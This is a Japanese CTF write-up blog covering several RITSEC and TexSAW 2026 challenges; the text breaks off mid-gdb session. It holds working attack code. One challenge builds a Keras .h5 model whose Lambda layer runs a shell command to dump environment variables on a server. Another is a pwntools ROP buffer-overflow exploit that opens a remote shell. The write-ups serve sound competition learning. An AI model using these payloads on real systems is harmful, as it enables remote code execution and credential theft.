  Downloading ml_dtypes-0.5.4-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (5.0 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 5.0/5.0 MB 21.8 MB/s eta 0:00:00
Collecting wrapt>=1.11.0
  Downloading wrapt-2.1.2-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl (113 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 113.6/113.6 kB 54.1 MB/s eta 0:00:00
Collecting termcolor>=1.1.0
  Downloading termcolor-3.3.0-py3-none-any.whl (7.7 kB)
Requirement already satisfied: setuptools in /usr/local/lib/python3.10/site-packages (from tensorflow-cpu) (79.0.1)
Collecting gast!=0.5.0,!=0.5.1,!=0.5.2,>=0.2.1
  Downloading gast-0.7.0-py3-none-any.whl (22 kB)
Requirement already satisfied: wheel<1.0,>=0.23.0 in /usr/local/lib/python3.10/site-packages (from astunparse>=1.6.0->tensorflow-cpu) (0.45.1)
Collecting rich
  Downloading rich-14.3.3-py3-none-any.whl (310 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 310.5/310.5 kB 28.5 MB/s eta 0:00:00
Collecting optree
  Downloading optree-0.19.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (419 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 419.7/419.7 kB 26.0 MB/s eta 0:00:00
Collecting namex
  Downloading namex-0.1.0-py3-none-any.whl (5.9 kB)
Collecting idna<4,>=2.5
  Downloading idna-3.11-py3-none-any.whl (71 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 71.0/71.0 kB 35.9 MB/s eta 0:00:00
Collecting charset_normalizer<4,>=2
  Downloading charset_normalizer-3.4.7-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (216 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 216.9/216.9 kB 71.5 MB/s eta 0:00:00
Collecting urllib3<3,>=1.26
  Downloading urllib3-2.6.3-py3-none-any.whl (131 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 131.6/131.6 kB 50.1 MB/s eta 0:00:00
Collecting certifi>=2023.5.7
  Downloading certifi-2026.2.25-py3-none-any.whl (153 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 153.7/153.7 kB 63.0 MB/s eta 0:00:00
Collecting markdown-it-py>=2.2.0
  Downloading markdown_it_py-4.0.0-py3-none-any.whl (87 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 87.3/87.3 kB 36.8 MB/s eta 0:00:00
Collecting pygments<3.0.0,>=2.13.0
  Downloading pygments-2.20.0-py3-none-any.whl (1.2 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.2/1.2 MB 23.4 MB/s eta 0:00:00
Collecting mdurl~=0.1
  Downloading mdurl-0.1.2-py3-none-any.whl (10.0 kB)
Installing collected packages: namex, libclang, flatbuffers, wrapt, urllib3, typing_extensions, termcolor, six, pygments, protobuf, packaging, opt_einsum, numpy, mdurl, idna, gast, charset_normalizer, certifi, absl-py, requests, optree, ml_dtypes, markdown-it-py, h5py, grpcio, google_pasta, astunparse, rich, keras, tensorflow-cpu
Successfully installed absl-py-2.4.0 astunparse-1.6.3 certifi-2026.2.25 charset_normalizer-3.4.7 flatbuffers-25.12.19 gast-0.7.0 google_pasta-0.2.0 grpcio-1.80.0 h5py-3.14.0 idna-3.11 keras-3.12.1 libclang-18.1.1 markdown-it-py-4.0.0 mdurl-0.1.2 ml_dtypes-0.5.4 namex-0.1.0 numpy-2.2.6 opt_einsum-3.4.0 optree-0.19.0 packaging-26.0 protobuf-7.34.1 pygments-2.20.0 requests-2.33.1 rich-14.3.3 six-1.17.0 tensorflow-cpu-2.21.0 termcolor-3.3.0 typing_extensions-4.15.0 urllib3-2.6.3 wrapt-2.1.2
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv                                                                      
                                                                                                 
[notice] A new release of pip is available: 23.0.1 -> 26.0.1
[notice] To update, run: pip install --upgrade pip
root@f02565a61644:/# cat make_h5.py
#!/usr/bin/env python3
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Lambda

model = Sequential()

model.add(Lambda(lambda x: __import__('os').popen('env').read(), input_shape=(1,)))

model.save("evil.h5", save_format="h5")
root@f02565a61644:/# python make_h5.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1775355011.923568      54 cpu_feature_guard.cc:227] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
/usr/local/lib/python3.10/site-packages/keras/src/layers/core/lambda_layer.py:65: UserWarning: Do not pass an `input_shape`/`input_dim` argument to a layer. When using Sequential models, prefer using an `Input(shape)` object as the first layer in the model instead.
  super().__init__(**kwargs)
WARNING:absl:The `save_format` argument is deprecated in Keras 3. We recommend removing this argument as it can be inferred from the file path. Received: save_format=h5
WARNING:absl:You are saving your model as an HDF5 file via `model.save()` or `keras.saving.save_model(model)`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')` or `keras.saving.save_model(model, 'my_model.keras')`.

この生成したevil.h5を/modelに送信する。

$ curl -X POST https://regular-dude-68f795ae-2f3c-4497-89e1-a84c7a833977.ctf.ritsec.club/model -H "Username: admin" -F "model=@evil.h5"   
{"predictions":"KUBERNETES_SERVICE_PORT=443\nKUBERNETES_PORT=tcp://172.30.0.1:443\nHOSTNAME=regular-dude-68f795ae-2f3c-4497-89e1-a84c7a833977-1-6gwm4\nOPENSHIFT_BUILD_NAMESPACE=ritsec-ctf\nHOME=/root\nGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D\nPYTHON_SHA256=de6517421601e39a9a3bc3e1bc4c7b2f239297423ee05e282598c83ec0647505\nWERKZEUG_SERVER_FD=4\nTF2_BEHAVIOR=1\nTPU_ML_PLATFORM=Tensorflow\nENABLE_RUNTIME_UPTIME_TELEMETRY=1\nTERM=xterm\nKUBERNETES_PORT_443_TCP_ADDR=172.30.0.1\nPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nKUBERNETES_PORT_443_TCP_PORT=443\nKUBERNETES_PORT_443_TCP_PROTO=tcp\nLANG=C.UTF-8\nPYTHON_VERSION=3.10.20\nHDF5_PLUGIN_PATH=disable\nOPENSHIFT_BUILD_NAME=regular-dude-1\nKUBERNETES_SERVICE_PORT_HTTPS=443\nKUBERNETES_PORT_443_TCP=tcp://172.30.0.1:443\nKUBERNETES_SERVICE_HOST=172.30.0.1\nPWD=/app\nTPU_ML_PLATFORM_VERSION=2.21.0\nNSS_SDB_USE_CACHE=no\nFLAG=\"RS{R3gul4r_Dud3_w1th_4n_1rregular_m0d37}\"\n"}

環境変数が取得でき、その中にフラグがあった。

RS{R3gul4r_Dud3_w1th_4n_1rregular_m0d37}

Ocean Wildlife (Forensics)

metadata.yamlの内容から、ROSbag2のファイルであると推測できる。DB Browserでmystery_message_0.db3を開き、topicsテーブルと見ると、/draw_commandsのidは6である。
このことを踏まえ、Claudeの助けを得ながらスクリプトを作成し、描画する。

#!/usr/bin/env python3
import sqlite3
import struct
import json
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt

conn = sqlite3.connect('mystery_message_0.db3')
cur = conn.cursor()
cur.execute('SELECT timestamp, data FROM messages WHERE topic_id=6 ORDER BY timestamp')
rows = cur.fetchall()

commands = []
for ts, data in rows:
    str_len = struct.unpack_from('<I', data, 4)[0]
    s = data[8:8 + str_len - 1].decode('utf-8')
    commands.append(json.loads(s))

CANVAS = 11.0888

fig, ax = plt.subplots(figsize=(24, 12), facecolor='black')
ax.set_facecolor('black')

pen_down = False
cur_x, cur_y = 0.0, 0.0
pen_color = (1.0, 1.0, 1.0)
seg_x, seg_y = [], []

for cmd in commands:
    if cmd['cmd'] == 'pen':
        if cmd['off'] == 1:
            if pen_down and len(seg_x) > 1:
                ax.plot(seg_x, seg_y,
                        color=pen_color, linewidth=2.5,
                        solid_capstyle='round', solid_joinstyle='round')
            pen_down = False
            seg_x, seg_y = [], []
        else:
            pen_color = (cmd['r'] / 255, cmd['g'] / 255, cmd['b'] / 255)
            pen_down = True
            seg_x = [cur_x]
            seg_y = [cur_y]

    elif cmd['cmd'] == 'teleport':
        cur_x, cur_y = cmd['x'], cmd['y']
        if pen_down:
            seg_x.append(cur_x)
            seg_y.append(cur_y)
        else:
            seg_x = [cur_x]
            seg_y = [cur_y]

if pen_down and len(seg_x) > 1:
    ax.plot(seg_x, seg_y,
            color=pen_color, linewidth=2.5,
            solid_capstyle='round', solid_joinstyle='round')

ax.set_xlim(0, CANVAS)
ax.set_ylim(0, CANVAS)
ax.set_aspect('equal')
ax.axis('off')
plt.tight_layout(pad=0.3)
plt.savefig('flag.png', dpi=200, bbox_inches='tight', facecolor='black')


描画した画像にフラグが書いてあった。

RS{f0ll0w_th3_5ea_Turtles}

Ocean Wildlife Revenge (Forensics)

DB Browserでmystery_message_0.db3を開き、topicsテーブルと見ると、今度は/draw_commandsのidは4である。ここだけ変更し、「Ocean Wildlife」と同じように描画する。

#!/usr/bin/env python3
import sqlite3
import struct
import json
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt

conn = sqlite3.connect('mystery_message_0.db3')
cur = conn.cursor()
cur.execute('SELECT timestamp, data FROM messages WHERE topic_id=4 ORDER BY timestamp')
rows = cur.fetchall()

commands = []
for ts, data in rows:
    str_len = struct.unpack_from('<I', data, 4)[0]
    s = data[8:8 + str_len - 1].decode('utf-8')
    commands.append(json.loads(s))

CANVAS = 11.0888

fig, ax = plt.subplots(figsize=(24, 12), facecolor='black')
ax.set_facecolor('black')

pen_down = False
cur_x, cur_y = 0.0, 0.0
pen_color = (1.0, 1.0, 1.0)
seg_x, seg_y = [], []

for cmd in commands:
    if cmd['cmd'] == 'pen':
        if cmd['off'] == 1:
            if pen_down and len(seg_x) > 1:
                ax.plot(seg_x, seg_y,
                        color=pen_color, linewidth=2.5,
                        solid_capstyle='round', solid_joinstyle='round')
            pen_down = False
            seg_x, seg_y = [], []
        else:
            pen_color = (cmd['r'] / 255, cmd['g'] / 255, cmd['b'] / 255)
            pen_down = True
            seg_x = [cur_x]
            seg_y = [cur_y]

    elif cmd['cmd'] == 'teleport':
        cur_x, cur_y = cmd['x'], cmd['y']
        if pen_down:
            seg_x.append(cur_x)
            seg_y.append(cur_y)
        else:
            seg_x = [cur_x]
            seg_y = [cur_y]

if pen_down and len(seg_x) > 1:
    ax.plot(seg_x, seg_y,
            color=pen_color, linewidth=2.5,
            solid_capstyle='round', solid_joinstyle='round')

ax.set_xlim(0, CANVAS)
ax.set_ylim(0, CANVAS)
ax.set_aspect('equal')
ax.axis('off')
plt.tight_layout(pad=0.3)
plt.savefig('flag.png', dpi=200, bbox_inches='tight', facecolor='black')

描画した画像にフラグが書いてあった。

RS{W4tch1ng_r0b0t_turtl3s}

Captain Mark's Compass (Cryptography)

暗号化処理の概要は以下の通り。

・matrix: tmatrix.txt(未配布)の内容を行単位で配列にしたもの
・N: matrixの長さ
・PROBS: matrixの各lineのスペース区切りの値を小数とした配列の配列
・P, heads = gen_params()
 ・P: 256以上1024以下のランダム整数をビット数とする素数
 ・heads = []
 ・以下N回繰り返し
  ・a: 2以上P-1以下のランダム整数
  ・b: 2以上P-1以下のランダム整数
  ・headsに(a, b)を追加
 ・P, headsを返却
・lcg = StateMachine(P, heads, PROBS)
 ・lcg.P = P
 ・lcg.heads = heads
 ・lcg.trans = PROBS
 ・lcg.curr: 0以上N-1以下のランダム整数
 ・lcg.sval: 0以上P-1以下のランダム整数
・tdat: 850個のlcg.next()の値の配列
 ・lcg.next()
  ・a, b = lcg.heads[lcg.curr]
  ・lcg.sval = (a * lcg.sval + b) % lcg.P
  ・val = random.random()
  ・total = 0.0
  ・row = lcg.trans[lcg.curr]
  ・nxt = lcg.curr
  ・rowの各インデックスi, 各値probに対して以下を実行
   ・totalにprobをプラス
   ・valがtotalより小さい場合
    ・nxt = i
    ・繰り返し終了
  ・lcg.curr = nxt
  ・lcg.svalを返却
・ctext = enc(FLAG, lcg)
 ・strm: FLAGの長さ分のlcg.next()の末尾8ビットの配列
 ・strmとFALGのXORを返却
・tdatとctextの16進数表記文字列を出力

部分的に同じa, bで5回連続したLCGが存在すると想定して、Pを割り出す。またtdatから3回連続したLCGが存在すると想定して、a, bのパターンを割り出す。
5パターン割り出せるので、あとは手動で前の文字から推測・調整しながらフラグを求める。

#!/usr/bin/env python3
from Crypto.Util.number import GCD, inverse
from functools import reduce

with open('logbook.txt', 'r') as f:
    params = f.read().splitlines()

tdat = eval(params[0].split(': ')[1])
ctext = bytes.fromhex(params[1].split(': ')[1])

P = -1
for i in range(len(tdat) - 5):
    X = tdat[i:i+5]
    delta = [d1 - d0 for (d0, d1) in zip(X, X[1:])]
    p_mul = [d0 * d2 - d1 * d1 for (d0, d1, d2) in zip(delta, delta[1:], delta[2:])]
    p = reduce(GCD, p_mul)
    if p > 2 ** 256:
        if P == -1:
            P = p
        else:
            P = GCD(P, p)

ab = {}
for i in range(len(tdat) - 3):
    X = tdat[i:i+3]
    a = (X[2] - X[1]) * inverse(X[1] - X[0], P) % P
    b = (X[1] - a * X[0]) % P
    if (a, b) in ab:
        ab[(a, b)] += 1
    else:
        ab[(a, b)] = 1

heads = []
for k, v in ab.items():
    if v > 1:
        heads.append(k)

assert len(heads) == 5

#### guess and arrange ####
indexes = [1, 1, 1, 3, 3, 3, 3, 4, 4, 3, 2, 0, 0, 0, 0, 1, 4, 1, 1, 2, 3, 3, 3, 3, 3, 2, 2, 2, 2, 3, 2, 4, 4, 4]

flag = b''
sval = tdat[-1]
for i, index in enumerate(indexes):
    a = heads[index][0]
    b = heads[index][1]
    sval = (a * sval + b) % P
    flag += bytes([ctext[i] ^ (sval & 0xff)])

flag = flag.decode()
print(flag)
RS{w04h_h1dd3n_M4rk0v_br34k5_LCGs}

TexSAW 2026 Writeup

この大会は2026/3/27 21:00(JST)~2026/3/29 21:00(JST)に開催されました。
今回もチームで参戦。結果は977点で511チーム中172位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome! (welcome)

LimeChat 2 でサーバに irc.texsaw.org を追加する。接続すると、フラグが表示された。

texsaw{w31c0M3_t0_t3xSAW_2O26!}

Secret Word 🤐 (Misc)

docxをzip解凍する。

$ unzip challenge.docx
Archive:  challenge.docx
  inflating: word/document.xml       
  inflating: word/settings.xml       
  inflating: docProps/custom.xml     
  inflating: [Content_Types].xml     
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
  inflating: word/_rels/document.xml.rels  
  inflating: word/_rels/numbering.xml.rels  
  inflating: word/fontTable.xml      
  inflating: word/numbering.xml      
  inflating: word/styles.xml         
  inflating: word/media/image1.png   
  inflating: word/media/image2.jpeg  
  inflating: word/media/image3.jpeg  
  inflating: word/media/image4.jpeg  
  inflating: word/media/image5.jpeg  
  inflating: word/media/image6.jpeg  
  inflating: word/media/image7.jpeg  
  inflating: word/media/image8.png   
  inflating: word/media/image9.png   
  inflating: word/media/image10.png  
  inflating: word/media/image11.jpeg  
  inflating: word/media/image12.jpeg  
  inflating: word/media/image13.jpeg  
  inflating: word/media/image14.jpeg  
  inflating: word/media/image15.png  
  inflating: word/media/image16.jpeg  
  inflating: word/media/image17.jpeg  
  inflating: word/media/image18.jpeg  
  inflating: word/media/image19.png  
  inflating: word/media/image20.jpeg  
  inflating: word/media/image21.jpeg  
  inflating: word/media/image22.jpeg  
  inflating: word/media/image23.jpeg  
  inflating: word/media/image24.png  
  inflating: word/media/image25.png  
  inflating: word/media/image26.png  
  inflating: word/media/image27.png  
  inflating: word/media/image28.png  
  inflating: word/media/image29.jpeg  
  inflating: word/media/image30.png  
  inflating: word/media/image31.png  
  inflating: word/media/image32.jpeg  
  inflating: word/media/image33.jpeg  
  inflating: word/media/image34.png  
  inflating: word/media/image35.jpeg  
  inflating: word/media/image36.png  
  inflating: word/media/image37.png  
  inflating: word/media/image38.png  
  inflating: word/media/image39.png  
  inflating: word/media/image40.png  
  inflating: word/media/image41.png  
  inflating: word/media/image42.png  
  inflating: word/media/image43.png  
  inflating: word/media/image44.jpeg  
  inflating: word/media/image45.png  
  inflating: word/media/image46.png  
  inflating: word/media/image47.jpeg  
  inflating: word/media/image48.png  
  inflating: word/media/image49.jpeg  
  inflating: word/media/image50.png  
  inflating: word/media/image51.png  
  inflating: word/media/image52.png  
  inflating: word/media/image53.png  
  inflating: word/media/image54.png  
  inflating: word/media/image55.png  
  inflating: word/media/image56.png  
  inflating: word/media/image57.png  
  inflating: word/media/image58.png  
  inflating: word/media/image59.png  
  inflating: word/media/image60.png  
  inflating: word/media/image61.png  
  inflating: word/media/image62.png  
  inflating: word/media/image63.png  
  inflating: word/media/image64.png  
  inflating: word/media/image65.png  
  inflating: word/media/image66.png  
  inflating: word/media/image67.png  
  inflating: word/media/image68.png  
  inflating: word/media/image69.png  
  inflating: word/media/image70.jpeg  
  inflating: word/media/image71.jpeg  
  inflating: word/media/image72.jpeg  
  inflating: word/media/image73.png  
  inflating: word/media/image74.png  
  inflating: word/media/image75.png  
  inflating: word/media/image76.png  
  inflating: word/media/image77.png  
  inflating: word/media/image78.png  
  inflating: word/media/image79.png  
  inflating: word/media/image80.png  
  inflating: word/media/image81.png  
  inflating: word/media/image82.png  
  inflating: word/media/image83.png  
  inflating: word/media/image84.png  
  inflating: word/media/image85.png  
  inflating: word/media/image86.png  
  inflating: word/media/image87.png  
  inflating: word/media/image88.png  
  inflating: word/media/image89.png  
  inflating: word/media/image90.png  
  inflating: word/media/image91.png  
  inflating: word/media/image92.png  
  inflating: word/media/image93.png  
  inflating: word/theme/theme1.xml   
  inflating: _rels/.rels             
 extracting: secret.txt

secret.txtがあるので、内容を確認する。

$ cat secret.txt                     
dGV4c2F3e3N1cnByMXNlIV93MHJkX2YxbGVzX2FyM196MXBfNHJjaGl2ZXNfNjA3MDkwMTM3NzF9

base64文字列だったので、デコードする。

$ echo dGV4c2F3e3N1cnByMXNlIV93MHJkX2YxbGVzX2FyM196MXBfNHJjaGl2ZXNfNjA3MDkwMTM3NzF9 | base64 -d
texsaw{surpr1se!_w0rd_f1les_ar3_z1p_4rchives_60709013771}
texsaw{surpr1se!_w0rd_f1les_ar3_z1p_4rchives_60709013771}

Return to Sender (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Our modern and highly secure postal service never fails to deliver your package.\n");
  deliver();
  return 0;
}

void deliver(void)

{
  int iVar1;
  char local_28 [32];
  
  puts("Where would you like to send your package?\n");
  puts("Some Options:\n0 Address Avenue\n1 Buffer Boulevard\n2 Canary Court\n");
  FUN_004010c0(local_28);
  iVar1 = strcmp(local_28,"0 Address Avenue");
  if (iVar1 == 0) {
    puts("Delivering to 0 Address Avenue...\n");
    avenue();
  }
  else {
    iVar1 = strcmp(local_28,"1 Buffer Boulevard");
    if (iVar1 == 0) {
      puts("Delivering to 1 Buffer Boulevard...\n");
      boulevard();
    }
    else {
      iVar1 = strcmp(local_28,"2 Canary Court");
      if (iVar1 == 0) {
        puts("Delivering to 2 Canary Court...\n");
        court();
      }
      else {
        puts("Sorry, we couldn\'t deliver your package. Returning to sender...\n");
      }
    }
  }
  return;
}

void avenue(void)

{
  puts("Package delivered to 0 Address Avenue.\n");
  return;
}

void boulevard(void)

{
  puts("Package delivered to 1 Buffer Boulevard.\n");
  return;
}

void court(void)

{
  puts("Package delivered to 2 Canary Court.\n");
  return;
}

void drive(long param_1)

{
  puts("Attempting secret delivery to 3 Dangerous Drive...\n");
  if (param_1 == 0x48435344) {
    puts("Success! Secret package delivered.\n");
    system("/bin/sh");
  }
  else {
    puts("Need the secret key to deliver this package.\n");
  }
  return;
}

BOFの脆弱性がある。正しい引数を指定して、drive関数をコールできればよい。

$ ROPgadget --binary chall | grep ": ret"
0x000000000040101a : ret
0x000000000040128a : ret 0xe
0x000000000040105a : ret 0xffff
0x0000000000401198 : retf
0x0000000000401382 : retf 0x2c
0x0000000000401022 : retf 0x2f
0x00000000004013b2 : retf 0xfffc

$ ROPgadget --binary chall --re "pop rdi"
Gadgets information
============================================================
0x00000000004011b9 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011b6 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011bc : mov ebp, esp ; pop rdi ; ret
0x00000000004011bb : mov rbp, rsp ; pop rdi ; ret
0x00000000004011be : pop rdi ; ret
0x00000000004011ba : push rbp ; mov rbp, rsp ; pop rdi ; ret

Unique gadgets found: 6
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('143.198.163.4', 15858)
else:
    p = process('./chall')

elf = ELF('./chall')

drive_addr = elf.symbols['drive']
offset = 40
ret_addr = 0x40101a
pop_rdi_addr = 0x4011be

payload = b'A' * offset
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(0x48435344)
payload += p64(drive_addr)

data = p.recvline().decode().rstrip()
print(data)
data = p.recvuntil(b'Court\n').decode().rstrip()
print(data)
print(payload)
p.sendline(payload)

for _ in range(6):
    data = p.recvline().decode().rstrip()
    print(data)

p.interactive()

実行結果は以下の通り。

[+] Opening connection to 143.198.163.4 on port 15858: Done
[*] '/mnt/hgfs/Shared/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
Our modern and highly secure postal service never fails to deliver your package.

Where would you like to send your package?

Some Options:
0 Address Avenue
1 Buffer Boulevard
2 Canary Court
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xbe\x11@\x00\x00\x00\x00\x00DSCH\x00\x00\x00\x00\x11\x12@\x00\x00\x00\x00\x00'

Sorry, we couldn't deliver your package. Returning to sender...

Attempting secret delivery to 3 Dangerous Drive...

Success! Secret package delivered.
[*] Switching to interactive mode

$ ls
flag.txt
run
$ cat flag.txt
texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}
texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}

Broken Quest (Rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  byte local_61;
  int local_60;
  int local_5c;
  undefined1 local_58 [16];
  undefined1 local_48 [16];
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  undefined4 local_2c;
  undefined4 local_28;
  undefined4 local_24;
  undefined4 local_20;
  undefined4 local_1c;
  char local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_58 = (undefined1  [16])0x0;
  local_48 = (undefined1  [16])0x0;
  local_38 = 2;
  local_34 = 6;
  local_30 = 0xfffffffc;
  local_2c = 6;
  local_28 = 0;
  local_24 = 4;
  local_20 = 0xfffffffd;
  local_1c = 1;
  local_60 = 1;
  puts(
      "Interact with objects to advance your quest. Set all quest objective flags and turn in the qu est to get the real flag."
      );
  while (local_60 != 0) {
    printf("Current Values: [ ");
    for (local_5c = 0; local_5c < 8; local_5c = local_5c + 1) {
      printf("%d\t",(ulong)*(uint *)(local_58 + (long)local_5c * 4));
    }
    puts("]");
    print_menu();
    memset(local_18,0,8);
    fgets(local_18,8,stdin);
    __isoc99_sscanf(local_18,&DAT_00103250,&local_61);
    local_61 = local_61 - 0x30;
    if (local_61 < 9) {
      switch(local_61) {
      case 0:
        local_60 = turn_in(local_58,&local_38);
        break;
      case 1:
        reset(local_58);
        break;
      case 2:
        rotate(local_58);
        break;
      case 3:
        increment(local_58);
        break;
      case 4:
        add_sub(local_58);
        break;
      case 5:
        modulo(local_58);
        break;
      case 6:
        swap(local_58);
        break;
      case 7:
        bitshift(local_58);
        break;
      case 8:
        flip_sign(local_58);
        break;
      default:
        puts("That\'s not a valid action.\n");
      }
    }
    else {
      puts("That\'s not a valid action.\n");
    }
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

bool turn_in(void *param_1,void *param_2)

{
  int iVar1;
  
  iVar1 = memcmp(param_1,param_2,8);
  if (iVar1 == 0) {
    puts("You turned in the quest!\n");
    handle_flag(param_1);
  }
  else {
    puts("Objectives not met - can\'t turn in quest yet!\n");
  }
  return iVar1 != 0;
}

void handle_flag(long param_1)

{
  long in_FS_OFFSET;
  int local_258;
  int local_254;
  int local_248 [72];
  undefined1 local_128 [32];
  undefined1 local_108 [32];
  undefined1 local_e8 [32];
  undefined1 local_c8 [32];
  undefined1 local_a8 [32];
  undefined1 local_88 [32];
  undefined1 local_68 [32];
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined7 local_30;
  undefined1 uStack_29;
  undefined7 uStack_28;
  undefined8 local_21;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_248[0] = 5;
  local_248[1] = 3;
  local_248[2] = 0;
  local_248[3] = 7;
  local_248[4] = 1;
  local_248[5] = 6;
  local_248[6] = 4;
  local_248[7] = 2;
  local_248[8] = 3;
  local_248[9] = 6;
  local_248[10] = 2;
  local_248[0xb] = 0;
  local_248[0xc] = 1;
  local_248[0xd] = 4;
  local_248[0xe] = 5;
  local_248[0xf] = 7;
  local_248[0x10] = 4;
  local_248[0x11] = 5;
  local_248[0x12] = 1;
  local_248[0x13] = 3;
  local_248[0x14] = 6;
  local_248[0x15] = 0;
  local_248[0x16] = 2;
  local_248[0x17] = 7;
  local_248[0x18] = 3;
  local_248[0x19] = 2;
  local_248[0x1a] = 5;
  local_248[0x1b] = 1;
  local_248[0x1c] = 4;
  local_248[0x1d] = 0;
  local_248[0x1e] = 6;
  local_248[0x1f] = 7;
  local_248[0x20] = 7;
  local_248[0x21] = 4;
  local_248[0x22] = 6;
  local_248[0x23] = 1;
  local_248[0x24] = 0;
  local_248[0x25] = 3;
  local_248[0x26] = 2;
  local_248[0x27] = 5;
  local_248[0x28] = 4;
  local_248[0x29] = 3;
  local_248[0x2a] = 0;
  local_248[0x2b] = 5;
  local_248[0x2c] = 6;
  local_248[0x2d] = 7;
  local_248[0x2e] = 1;
  local_248[0x2f] = 2;
  local_248[0x30] = 6;
  local_248[0x31] = 0;
  local_248[0x32] = 3;
  local_248[0x33] = 2;
  local_248[0x34] = 1;
  local_248[0x35] = 7;
  local_248[0x36] = 4;
  local_248[0x37] = 5;
  local_248[0x38] = 5;
  local_248[0x39] = 4;
  local_248[0x3a] = 2;
  local_248[0x3b] = 7;
  local_248[0x3c] = 3;
  local_248[0x3d] = 0;
  local_248[0x3e] = 6;
  local_248[0x3f] = 1;
  for (local_258 = 0; local_258 < 8; local_258 = local_258 + 1) {
    for (local_254 = 0; local_254 < 8; local_254 = local_254 + 1) {
      local_248[(long)local_254 + (long)local_258 * 8 + 0x40] =
           *(int *)(param_1 + (long)local_248[(long)local_254 + (long)local_258 * 8] * 4);
    }
  }
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  uStack_29 = 0;
  uStack_28 = 0;
  local_21 = 0;
  transform(&local_48,local_248,local_248 + 0x40,&DAT_00103058,0x25,0,9);
  transform(&local_48,local_248 + 8,local_128,&DAT_00103058,0x20,9,5);
  transform(&local_48,local_248 + 0x10,local_108,&DAT_00103058,0x1a,0xe,6);
  transform(&local_48,local_248 + 0x18,local_e8,&DAT_00103058,0x15,0x14,5);
  transform(&local_48,local_248 + 0x20,local_c8,&DAT_00103058,0x10,0x19,5);
  transform(&local_48,local_248 + 0x28,local_a8,&DAT_00103058,0xd,0x1e,3);
  transform(&local_48,local_248 + 0x30,local_88,&DAT_00103058,6,0x21,7);
  transform(&local_48,local_248 + 0x38,local_68,&DAT_00103058,0,0x28,6);
  printf("Here\'s your reward: %s\n",&local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

main関数で0を指定した場合に、turn_in関数の第2引数には以下の配列の値が入っている。

{2,6,-4,6,0,4,-3,1}

turn_in関数では第1引数と第2引数を比較し同じ場合、handle_flag関数に第1引数を渡している。このため上記の配列が渡されるのと同等。

gdb-pedaで直接値を渡して、handle_flagを呼び出す。

$ gdb -q ./brokenquest
Reading symbols from ./brokenquest...
(No debugging symbols found in ./brokenquest)
gdb-peda$ b main
Breakpoint 1 at 0x1fed
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/brokenquest 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[----------------------------------registers-----------------------------------]
RAX: 0x555555555fe5 (<main>:    endbr64)
RBX: 0x7fffffffdd38 --> 0x7fffffffe0e9 ("/mnt/hgfs/Shared/brokenquest")
